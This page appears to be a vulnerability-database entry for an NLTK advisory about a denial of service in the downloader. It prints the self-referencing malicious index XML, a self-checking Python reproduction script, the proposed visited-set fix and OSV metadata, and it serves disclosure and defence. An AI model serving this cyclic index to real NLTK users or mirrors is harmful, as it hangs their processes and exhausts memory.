nltk under test: 3.10.3
RESULT 4/4 checks passed, 0 failed
The malicious index is exactly:
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Cyclic collection">
<item ref="a"/>
<item ref="p1"/>
</collection>
</collections>
</index>
Impact
- Type: CWE-835 / CWE-400 — denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact.
- Who is impacted: any deployment that uses
nltk.downloader(directly, vianltk.download(), or through the Shell/GUI) against an index URL it does not fully control — third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM'd. Every entry point (download(),info(),packages(),collections(),status()) funnels through_update_indexand is blocked. - Attacker requirements: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required.
- Effect: the process is permanently wedged in the closure BFS — 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running
nltk.download()in a script or service turns a single poisoned index into an unresolvable hang.
Suggested fix: add a visited set to the closure BFS so each Collection is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.:
for collection in self._collections.values():
packages = {}
queue = [collection]
seen = set()
for child in queue:
if isinstance(child, Collection):
if child.id in seen:
continue
seen.add(child.id)
queue.extend(child.children)
elif isinstance(child, Package):
packages[child.id] = child
collection.packages = packages.values()
Defense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic ref chains in Collection.fromxml / during the ref-replacement at downloader.py:1285-1290) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts packages()/info() terminate and either skip or reject the cycle.
Reproduction script (self-contained)
#!/usr/bin/env python3
"""Self-checking reproduction: a cyclic collection index makes
``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory.
Attack: an index XML whose ``<collection>`` references itself (or a mutual
cycle) becomes an object-level cycle when ``_update_index`` replaces ``ref``
strings with real ``Collection`` objects. The package-closure walk
(``for child in queue: ... queue.extend(child.children)``) has no visited set
and no depth cap, so the queue grows forever and the function never returns.
Controls:
* an acyclic index of the same shape completes and yields the expected
closure (the same function, the same caller, under the same memory cap);
* the attack never returns normally: it either keeps running past a hard
timeout (observed hang) or is aborted by the child's address-space cap
(unbounded memory growth) -- in both cases the exact finite input that the
control handles instantly cannot be completed.
Usage:
python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB]
Environment:
NLTK_WHEEL path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is
installed into a scratch dir and put on PYTHONPATH for the
verification children.
NLTK_TIMEOUT hard timeout seconds for each child (default: 60).
MEMCAP_MIB address-space cap per child in MiB (default: 512); can also be
passed as the first positional argument.
"""
import os
import resource
import subprocess
import sys
import tempfile
import textwrap
import time
from xml.etree import ElementTree
def _default_memcap():
if len(sys.argv) > 1 and sys.argv[1] != "--child":
raw = sys.argv[1]
else:
raw = os.environ.get("MEMCAP_MIB", "512")
try:
value = int(raw)
except (TypeError, ValueError):
print("warning: invalid MEMCAP_MIB %r, falling back to 512" % raw, file=sys.stderr)
return "512"
return str(value) if value > 0 else "512"
MEMCAP_MIB = int(_default_memcap())
CHILD_TIMEOUT = float(os.environ.get("NLTK_TIMEOUT", "60"))
CYCLIC_INDEX = """<?xml version="1.0"?>
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Cyclic collection">
<item ref="a"/>
<item ref="p1"/>
</collection>
</collections>
</index>
"""
ACYCLIC_INDEX = """<?xml version="1.0"?>
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Acyclic collection">
<item ref="p1"/>
</collection>
</collections>
</index>
"""
CHILD_DRIVER = r"""
import os
import resource
import sys
import nltk
import nltk.data as nltk_data
mode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]
# Allow the local index file to be read under hardened pathsec (ENFORCE mode).
nltk_data.path.append(workdir)
cap = int(os.environ["NLTK_CHILD_MEMCAP_MIB"]) * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (cap, cap))
from nltk.downloader import Downloader
downloader = Downloader(server_index_url=url)
if mode == "control":
# _update_index() runs to completion here; the acyclic closure is finite.
packages = list(downloader.packages())
ids = sorted(p.id for p in packages)
print("[PASS] control: Downloader.packages() returned (no hang)")
assert ids == ["p1"], ids
print("[PASS] control: _packages parsed = %r" % ids)
col = next(c for c in downloader.collections() if c.id == "a")
closure = sorted(p.id for p in col.packages)
assert closure == ["p1"], closure
print("[PASS] control: collection 'a' closure = %r (finite, as documented)" % closure)
sys.exit(0)
elif mode == "attack":
# This call drives _update_index -> the collection-closure BFS. The index
# collection self-references itself, so the BFS never terminates; the queue
# keeps growing until the address-space cap aborts the process.
print("[attack] entering Downloader.packages() on the self-referencing index ...")
_ = downloader.packages()
print("[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered")
sys.exit(2)
else:
print("[FAIL] unknown mode %r" % mode)
sys.exit(2)
"""
def build_site_env(workdir):
"""Return (env, site_path_or_None) so the children can import nltk."""
probe = subprocess.run(
[sys.executable, "-c", "import nltk"],
capture_output=True,
)
if probe.returncode == 0:
return dict(os.environ), None
wheel = os.environ.get("NLTK_WHEEL")
if not wheel:
return None, None
site = os.path.join(workdir, "site")
subprocess.run(
[sys.executable, "-m", "pip", "install", "--quiet", "--target", site, wheel],
check=True,
)
env = dict(os.environ)
env["PYTHONPATH"] = site + (os.pathsep + env["PYTHONPATH"] if env.get("PYTHONPATH") else "")
return env, site
def run_child(env, script, mode, url, workdir):
cmd = [sys.executable, script, "--child", mode, url, workdir]
start = time.monotonic()
try:
proc = subprocess.run(
cmd,
env=env,
capture_output=True,
text=True,
timeout=CHILD_TIMEOUT,
)
timed_out = False
except subprocess.TimeoutExpired as exc:
proc = exc
timed_out = True
elapsed = time.monotonic() - start
stdout = proc.stdout if hasattr(proc, "stdout") else ""
stderr = proc.stderr if hasattr(proc, "stderr") else ""
return timed_out, getattr(proc, "returncode", None), stdout, stderr, elapsed
def main():
results = []
def check(name, cond, detail=""):
results.append(bool(cond))
print("[%s] %s%s" % ("PASS" if cond else "FAIL", name, (" (%s)" % detail if detail else "")))
with tempfile.TemporaryDirectory(prefix="nltk_cycle_") as workdir:
cyclic_path = os.path.join(workdir, "index_cyclic.xml")
acyclic_path = os.path.join(workdir, "index_acyclic.xml")
with open(cyclic_path, "w") as fh:
fh.write(CYCLIC_INDEX)
with open(acyclic_path, "w") as fh:
fh.write(ACYCLIC_INDEX)
cyclic_url = "file://" + cyclic_path
acyclic_url = "file://" + acyclic_path
# --- Input modeling preconditions -------------------------------
cyc = ElementTree.parse(cyclic_path).getroot()
col = cyc.find("collections/collection")
check(
"precondition: cyclic index has a self-referencing <collection>",
col is not None and col.get("id") == "a"
and any((it.get("ref") == "a" for it in col.findall("item"))),
"ref='a' inside <collection id='a'>",
)
acy = ElementTree.parse(acyclic_path).getroot()
cola = acy.find("collections/collection")
check(
"precondition: acyclic control index references only packages",
cola is not None and [it.get("ref") for it in cola.findall("item")] == ["p1"],
)
env, site = build_site_env(workdir)
if env is None:
print("FAIL: nltk is not importable and NLTK_WHEEL is unset", file=sys.stderr)
return 1
child_env = dict(env)
child_env["NLTK_CHILD_MEMCAP_MIB"] = str(MEMCAP_MIB)
# --- Control: acyclic index completes under the same memory cap ---
t, rc, out, err, el = run_child(child_env, __file__, "control", acyclic_url, workdir)
print("[control] returned rc=%s in %.1fs%s" % (rc, el, " (TIMEOUT)" if t else ""))
if out:
print(out, end="")
if err:
print(err, end="")
check(
"control: acyclic index completes and yields the documented finite closure",
(not t) and rc == 0 and "collection 'a' closure = ['p1']" in (out + err),
"rc=%s" % rc,
)
# --- Attack: cyclic index must NOT complete ----------------------
t, rc, out, err, el = run_child(child_env, __file__, "attack", cyclic_url, workdir)
print("[attack] rc=%s after %.1fs%s" % (rc, el, " (still running at timeout)" if t else ""))
if out:
print(out, end="")
if err:
print(err, end="")
if t:
check(
"attack: self-referencing index hangs _update_index past the %ss timeout" % CHILD_TIMEOUT,
True,
"process still running, queue growing unboundedly",
)
elif rc is not None and rc != 0:
memory = "MemoryError" in (out + err) or "MemoryError" in err
check(
"attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)" % MEMCAP_MIB,
memory,
"rc=%s, %s" % (rc, "MemoryError" if memory else "non-zero exit"),
)
else:
check(
"attack: self-referencing index hangs _update_index (vulnerability reproduced)",
False,
"function returned -- cyclic input was handled",
)
# --- Version banner ---------------------------------------------
ver_out = subprocess.run(
[sys.executable, "-c", "import nltk; print(nltk.__version__)"],
env=env,
capture_output=True,
text=True,
).stdout.strip()
print("nltk under test: %s" % (ver_out or "unknown"))
passed = sum(results)
failed = len(results) - passed
print("RESULT %d/%d checks passed, %d failed" % (passed, len(results), failed))
return 0 if failed == 0 else 1
if __name__ == "__main__":
if len(sys.argv) >= 2 and sys.argv[1] == "--child":
os.execv(sys.executable, [sys.executable, "-c", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:])
sys.exit(main())
Fix status (2026-09-28)
Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).
PR: #3767 "Prevent infinite loop from cyclic collection indices" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first).
Probe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).
Release: none yet; no release tag contains b77d329db.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "3.6.7"
},
{
"fixed": "3.10.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-128140"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-19T23:54:33Z",
"nvd_published_at": "2026-11-19T18:18:06Z",
"severity": "MODERATE"
},
"details": "\u003e **affected**: PyPI `nltk` `\u003e= 3.6.7` \u2014 `nltk.downloader` index parsing (`Downloader._update_index`)\n\u003e **dynamically reproduced**: `nltk` `3.6.7` (4/4 checks), `3.9.2` (4/4), `3.10.3` (4/4), and `develop` `6818767b9` (4/4)\n\n---\n\n_Source references (`nltk/downloader.py:NNN`) are to commit `6818767b9` (`develop`, `v3.10.3-15-g6818767b9`). The `v3.10.3` tag and the released `3.10.3` wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at `downloader.py:1300-1310`). Dynamically verified wheels additionally show the same defect at `downloader.py:972` (`3.9.2`) and `downloader.py:987` (`3.6.7`)._\n\n### Summary\n\n`Downloader._update_index` (`nltk/downloader.py:1253-1313`) is the mandatory first step of every downloader operation (`download()`, `info()`, `packages()`, `collections()`, `list()`, `status()`). After replacing each `\u003citem ref=\"\u2026\"\u003e` string with the actual `Collection`/`Package` object (`downloader.py:1285-1290`), it computes each collection\u0027s recursive package closure with a breadth-first walk that has **no visited set and no depth cap**:\n\n```python\n# nltk/downloader.py:1300-1310\nfor collection in self._collections.values():\n packages = {}\n queue = [collection]\n for child in queue:\n if isinstance(child, Collection):\n queue.extend(child.children)\n elif isinstance(child, Package):\n packages[child.id] = child\n collection.packages = packages.values()\n```\n\n**A self-referencing or mutually-referencing index \u2014 e.g. `\u003ccollection id=\"a\"\u003e\u003citem ref=\"a\"/\u003e\u003c/collection\u003e` \u2014 turns `a.children` into an object-level cycle, and the `for child in queue: queue.extend(child.children)` loop appends to the very list it is iterating, so the queue grows forever.** The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size \u2014 only its self-reference is abnormal, and nothing validates it.\n\n### Details\n\nRoot cause is the combination of three unguarded steps:\n\n1. `Collection.fromxml` (`nltk/downloader.py:362-369`) stores each `\u003citem ref=\"\u2026\"\u003e` attribute verbatim as a string. It never checks whether a ref targets the collection\u0027s own id, or participates in a reference cycle.\n2. `_update_index` (`nltk/downloader.py:1285-1290`) replaces those ref strings with the live objects from `self._collections` / `self._packages`. A self- or mutual-reference therefore becomes an object-level cycle in `children`.\n3. The closure walk (`nltk/downloader.py:1300-1310`) iterates `for child in queue` while doing `queue.extend(child.children)` inside the loop. Python\u0027s list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is no `visited` set, no node-count cap, and no cycle detection.\n\nThe input is the data-server index that the downloader is designed to fetch and trust: `_update_index` pulls it with `safe_parse(urlopen(self._url))` (`nltk/downloader.py:1269-1271`) and parses `\u003ccollections\u003e/\u003ccollection\u003e` elements with no structural validation. The index URL is a user-configurable product feature (`server_index_url` constructor argument, CLI `-u` / `--url` at `downloader.py:3052-3058` \u2014 the option\u0027s `dest` is `server_index_url` \u2014 plus `NLTK_DOWNLOAD_URL` and the Shell/GUI \"Set Server URL\"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.\n\n### PoC\n\nThe self-checking reproduction script embedded below runs the attack against a `file://`-hosted index (no network server needed; the hardened `nltk.pathsec.urlopen` accepts local `file://` URLs) and a matching acyclic control index, in **separate child processes under an address-space cap (`RLIMIT_AS`)**. That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process \u2014 the same function, the same caller, the same finite 2-entry index \u2014 cannot finish and is aborted by `MemoryError` at `queue.extend(child.children)`, proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.\n\n**Scope note**: dynamically verified on the released `3.6.7`, `3.9.2`, and `3.10.3` wheels and on `develop` `6818767b9`. `3.6.0`\u2013`3.6.6` share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates `3.6` and earlier releases were not assessed.\n\nEnvironment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks.\n\nLive transcript (recorded run on the `nltk` `3.10.3` wheel; the `3.6.7`, `3.9.2`, and `develop` `6818767b9` runs produce the same 4/4 result, differing only in the `downloader.py` line number in the traceback \u2014 `987`, `972`, and `1305` respectively \u2014 and the elapsed time):\n\n```\n[PASS] precondition: cyclic index has a self-referencing \u003ccollection\u003e (ref=\u0027a\u0027 inside \u003ccollection id=\u0027a\u0027\u003e)\n[PASS] precondition: acyclic control index references only packages\n[control] returned rc=0 in 0.2s\n[PASS] control: Downloader.packages() returned (no hang)\n[PASS] control: _packages parsed = [\u0027p1\u0027]\n[PASS] control: collection \u0027a\u0027 closure = [\u0027p1\u0027] (finite, as documented)\n[PASS] control: acyclic index completes and yields the documented finite closure (rc=0)\n[attack] rc=1 after 6.6s\n[attack] entering Downloader.packages() on the self-referencing index ...\nTraceback (most recent call last):\n File \"\u003cstring\u003e\", line 38, in \u003cmodule\u003e\n File \"nltk/downloader.py\", line 627, in packages\n self._update_index()\n File \"nltk/downloader.py\", line 1305, in _update_index\n queue.extend(child.children)\nMemoryError\n[PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth) (rc=1, MemoryError)\nnltk under test: 3.10.3\nRESULT 4/4 checks passed, 0 failed\n```\n\nThe malicious index is exactly:\n\n```xml\n\u003cindex\u003e\n \u003cpackages\u003e\n \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n \u003c/packages\u003e\n \u003ccollections\u003e\n \u003ccollection id=\"a\" name=\"Cyclic collection\"\u003e\n \u003citem ref=\"a\"/\u003e\n \u003citem ref=\"p1\"/\u003e\n \u003c/collection\u003e\n \u003c/collections\u003e\n\u003c/index\u003e\n```\n\n### Impact\n\n- **Type**: CWE-835 / CWE-400 \u2014 denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact.\n- **Who is impacted**: any deployment that uses `nltk.downloader` (directly, via `nltk.download()`, or through the Shell/GUI) against an index URL it does not fully control \u2014 third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM\u0027d. Every entry point (`download()`, `info()`, `packages()`, `collections()`, `status()`) funnels through `_update_index` and is blocked.\n- **Attacker requirements**: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required.\n- **Effect**: the process is permanently wedged in the closure BFS \u2014 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running `nltk.download()` in a script or service turns a single poisoned index into an unresolvable hang.\n\n**Suggested fix**: add a `visited` set to the closure BFS so each `Collection` is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.:\n\n```python\nfor collection in self._collections.values():\n packages = {}\n queue = [collection]\n seen = set()\n for child in queue:\n if isinstance(child, Collection):\n if child.id in seen:\n continue\n seen.add(child.id)\n queue.extend(child.children)\n elif isinstance(child, Package):\n packages[child.id] = child\n collection.packages = packages.values()\n```\n\nDefense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic `ref` chains in `Collection.fromxml` / during the ref-replacement at `downloader.py:1285-1290`) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts `packages()`/`info()` terminate and either skip or reject the cycle.\n\n---\n\n### Reproduction script (self-contained)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-checking reproduction: a cyclic collection index makes\n``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory.\n\nAttack: an index XML whose ``\u003ccollection\u003e`` references itself (or a mutual\ncycle) becomes an object-level cycle when ``_update_index`` replaces ``ref``\nstrings with real ``Collection`` objects. The package-closure walk\n(``for child in queue: ... queue.extend(child.children)``) has no visited set\nand no depth cap, so the queue grows forever and the function never returns.\n\nControls:\n * an acyclic index of the same shape completes and yields the expected\n closure (the same function, the same caller, under the same memory cap);\n * the attack never returns normally: it either keeps running past a hard\n timeout (observed hang) or is aborted by the child\u0027s address-space cap\n (unbounded memory growth) -- in both cases the exact finite input that the\n control handles instantly cannot be completed.\n\nUsage:\n python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB]\n\nEnvironment:\n NLTK_WHEEL path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is\n installed into a scratch dir and put on PYTHONPATH for the\n verification children.\n NLTK_TIMEOUT hard timeout seconds for each child (default: 60).\n MEMCAP_MIB address-space cap per child in MiB (default: 512); can also be\n passed as the first positional argument.\n\"\"\"\n\nimport os\nimport resource\nimport subprocess\nimport sys\nimport tempfile\nimport textwrap\nimport time\nfrom xml.etree import ElementTree\n\ndef _default_memcap():\n if len(sys.argv) \u003e 1 and sys.argv[1] != \"--child\":\n raw = sys.argv[1]\n else:\n raw = os.environ.get(\"MEMCAP_MIB\", \"512\")\n try:\n value = int(raw)\n except (TypeError, ValueError):\n print(\"warning: invalid MEMCAP_MIB %r, falling back to 512\" % raw, file=sys.stderr)\n return \"512\"\n return str(value) if value \u003e 0 else \"512\"\n\n\nMEMCAP_MIB = int(_default_memcap())\nCHILD_TIMEOUT = float(os.environ.get(\"NLTK_TIMEOUT\", \"60\"))\n\nCYCLIC_INDEX = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cindex\u003e\n \u003cpackages\u003e\n \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n \u003c/packages\u003e\n \u003ccollections\u003e\n \u003ccollection id=\"a\" name=\"Cyclic collection\"\u003e\n \u003citem ref=\"a\"/\u003e\n \u003citem ref=\"p1\"/\u003e\n \u003c/collection\u003e\n \u003c/collections\u003e\n\u003c/index\u003e\n\"\"\"\n\nACYCLIC_INDEX = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cindex\u003e\n \u003cpackages\u003e\n \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n \u003c/packages\u003e\n \u003ccollections\u003e\n \u003ccollection id=\"a\" name=\"Acyclic collection\"\u003e\n \u003citem ref=\"p1\"/\u003e\n \u003c/collection\u003e\n \u003c/collections\u003e\n\u003c/index\u003e\n\"\"\"\n\nCHILD_DRIVER = r\"\"\"\nimport os\nimport resource\nimport sys\n\nimport nltk\nimport nltk.data as nltk_data\n\nmode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]\n\n# Allow the local index file to be read under hardened pathsec (ENFORCE mode).\nnltk_data.path.append(workdir)\n\ncap = int(os.environ[\"NLTK_CHILD_MEMCAP_MIB\"]) * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (cap, cap))\n\nfrom nltk.downloader import Downloader\n\ndownloader = Downloader(server_index_url=url)\n\nif mode == \"control\":\n # _update_index() runs to completion here; the acyclic closure is finite.\n packages = list(downloader.packages())\n ids = sorted(p.id for p in packages)\n print(\"[PASS] control: Downloader.packages() returned (no hang)\")\n assert ids == [\"p1\"], ids\n print(\"[PASS] control: _packages parsed = %r\" % ids)\n col = next(c for c in downloader.collections() if c.id == \"a\")\n closure = sorted(p.id for p in col.packages)\n assert closure == [\"p1\"], closure\n print(\"[PASS] control: collection \u0027a\u0027 closure = %r (finite, as documented)\" % closure)\n sys.exit(0)\nelif mode == \"attack\":\n # This call drives _update_index -\u003e the collection-closure BFS. The index\n # collection self-references itself, so the BFS never terminates; the queue\n # keeps growing until the address-space cap aborts the process.\n print(\"[attack] entering Downloader.packages() on the self-referencing index ...\")\n _ = downloader.packages()\n print(\"[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered\")\n sys.exit(2)\nelse:\n print(\"[FAIL] unknown mode %r\" % mode)\n sys.exit(2)\n\"\"\"\n\n\ndef build_site_env(workdir):\n \"\"\"Return (env, site_path_or_None) so the children can import nltk.\"\"\"\n probe = subprocess.run(\n [sys.executable, \"-c\", \"import nltk\"],\n capture_output=True,\n )\n if probe.returncode == 0:\n return dict(os.environ), None\n wheel = os.environ.get(\"NLTK_WHEEL\")\n if not wheel:\n return None, None\n site = os.path.join(workdir, \"site\")\n subprocess.run(\n [sys.executable, \"-m\", \"pip\", \"install\", \"--quiet\", \"--target\", site, wheel],\n check=True,\n )\n env = dict(os.environ)\n env[\"PYTHONPATH\"] = site + (os.pathsep + env[\"PYTHONPATH\"] if env.get(\"PYTHONPATH\") else \"\")\n return env, site\n\n\ndef run_child(env, script, mode, url, workdir):\n cmd = [sys.executable, script, \"--child\", mode, url, workdir]\n start = time.monotonic()\n try:\n proc = subprocess.run(\n cmd,\n env=env,\n capture_output=True,\n text=True,\n timeout=CHILD_TIMEOUT,\n )\n timed_out = False\n except subprocess.TimeoutExpired as exc:\n proc = exc\n timed_out = True\n elapsed = time.monotonic() - start\n stdout = proc.stdout if hasattr(proc, \"stdout\") else \"\"\n stderr = proc.stderr if hasattr(proc, \"stderr\") else \"\"\n return timed_out, getattr(proc, \"returncode\", None), stdout, stderr, elapsed\n\n\ndef main():\n results = []\n\n def check(name, cond, detail=\"\"):\n results.append(bool(cond))\n print(\"[%s] %s%s\" % (\"PASS\" if cond else \"FAIL\", name, (\" (%s)\" % detail if detail else \"\")))\n\n with tempfile.TemporaryDirectory(prefix=\"nltk_cycle_\") as workdir:\n cyclic_path = os.path.join(workdir, \"index_cyclic.xml\")\n acyclic_path = os.path.join(workdir, \"index_acyclic.xml\")\n with open(cyclic_path, \"w\") as fh:\n fh.write(CYCLIC_INDEX)\n with open(acyclic_path, \"w\") as fh:\n fh.write(ACYCLIC_INDEX)\n cyclic_url = \"file://\" + cyclic_path\n acyclic_url = \"file://\" + acyclic_path\n\n # --- Input modeling preconditions -------------------------------\n cyc = ElementTree.parse(cyclic_path).getroot()\n col = cyc.find(\"collections/collection\")\n check(\n \"precondition: cyclic index has a self-referencing \u003ccollection\u003e\",\n col is not None and col.get(\"id\") == \"a\"\n and any((it.get(\"ref\") == \"a\" for it in col.findall(\"item\"))),\n \"ref=\u0027a\u0027 inside \u003ccollection id=\u0027a\u0027\u003e\",\n )\n acy = ElementTree.parse(acyclic_path).getroot()\n cola = acy.find(\"collections/collection\")\n check(\n \"precondition: acyclic control index references only packages\",\n cola is not None and [it.get(\"ref\") for it in cola.findall(\"item\")] == [\"p1\"],\n )\n\n env, site = build_site_env(workdir)\n if env is None:\n print(\"FAIL: nltk is not importable and NLTK_WHEEL is unset\", file=sys.stderr)\n return 1\n child_env = dict(env)\n child_env[\"NLTK_CHILD_MEMCAP_MIB\"] = str(MEMCAP_MIB)\n\n # --- Control: acyclic index completes under the same memory cap ---\n t, rc, out, err, el = run_child(child_env, __file__, \"control\", acyclic_url, workdir)\n print(\"[control] returned rc=%s in %.1fs%s\" % (rc, el, \" (TIMEOUT)\" if t else \"\"))\n if out:\n print(out, end=\"\")\n if err:\n print(err, end=\"\")\n check(\n \"control: acyclic index completes and yields the documented finite closure\",\n (not t) and rc == 0 and \"collection \u0027a\u0027 closure = [\u0027p1\u0027]\" in (out + err),\n \"rc=%s\" % rc,\n )\n\n # --- Attack: cyclic index must NOT complete ----------------------\n t, rc, out, err, el = run_child(child_env, __file__, \"attack\", cyclic_url, workdir)\n print(\"[attack] rc=%s after %.1fs%s\" % (rc, el, \" (still running at timeout)\" if t else \"\"))\n if out:\n print(out, end=\"\")\n if err:\n print(err, end=\"\")\n if t:\n check(\n \"attack: self-referencing index hangs _update_index past the %ss timeout\" % CHILD_TIMEOUT,\n True,\n \"process still running, queue growing unboundedly\",\n )\n elif rc is not None and rc != 0:\n memory = \"MemoryError\" in (out + err) or \"MemoryError\" in err\n check(\n \"attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)\" % MEMCAP_MIB,\n memory,\n \"rc=%s, %s\" % (rc, \"MemoryError\" if memory else \"non-zero exit\"),\n )\n else:\n check(\n \"attack: self-referencing index hangs _update_index (vulnerability reproduced)\",\n False,\n \"function returned -- cyclic input was handled\",\n )\n\n # --- Version banner ---------------------------------------------\n ver_out = subprocess.run(\n [sys.executable, \"-c\", \"import nltk; print(nltk.__version__)\"],\n env=env,\n capture_output=True,\n text=True,\n ).stdout.strip()\n print(\"nltk under test: %s\" % (ver_out or \"unknown\"))\n\n passed = sum(results)\n failed = len(results) - passed\n print(\"RESULT %d/%d checks passed, %d failed\" % (passed, len(results), failed))\n return 0 if failed == 0 else 1\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) \u003e= 2 and sys.argv[1] == \"--child\":\n os.execv(sys.executable, [sys.executable, \"-c\", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:])\n sys.exit(main())\n```\n\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3767 \"Prevent infinite loop from cyclic collection indices\" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first).\n\nProbe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).\n\nRelease: none yet; no release tag contains b77d329db.",
"id": "GHSA-pcm8-fqjx-rvx8",
"modified": "2026-11-19T23:54:33Z",
"published": "2026-11-19T23:54:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-pcm8-fqjx-rvx8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-128140"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3767"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/b77d329db934711e053520588b22b4ac73539fa2"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "NLTK: Downloader cyclic collection indices cause an infinite closure walk"
}
MSRC_CVE-2026-128140
Vulnerability from csaf_microsoft - Published: 2026-11-20 18:10 - Updated: 2026-12-01 01:06UBUNTU-CVE-2026-128140 (CVE-2026-128140)
Vulnerability from osv_ubuntu – Published: 2026-11-19 18:18 – Updated: 2026-11-25 17:45 – Source websiteNLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. From 3.6.7 until 3.10.4, nltk.downloader follows collection membership without tracking already visited collection nodes. A self-referencing or mutually referencing collection index can therefore make the package-closure walk loop indefinitely while its queue and memory usage grow, denying service when a victim processes the attacker-influenced index. This issue is fixed in version 3.10.4.
| Ecosystem | Package | Version |
|---|---|---|
| Ubuntu:Pro:14.04:LTS |
nltk
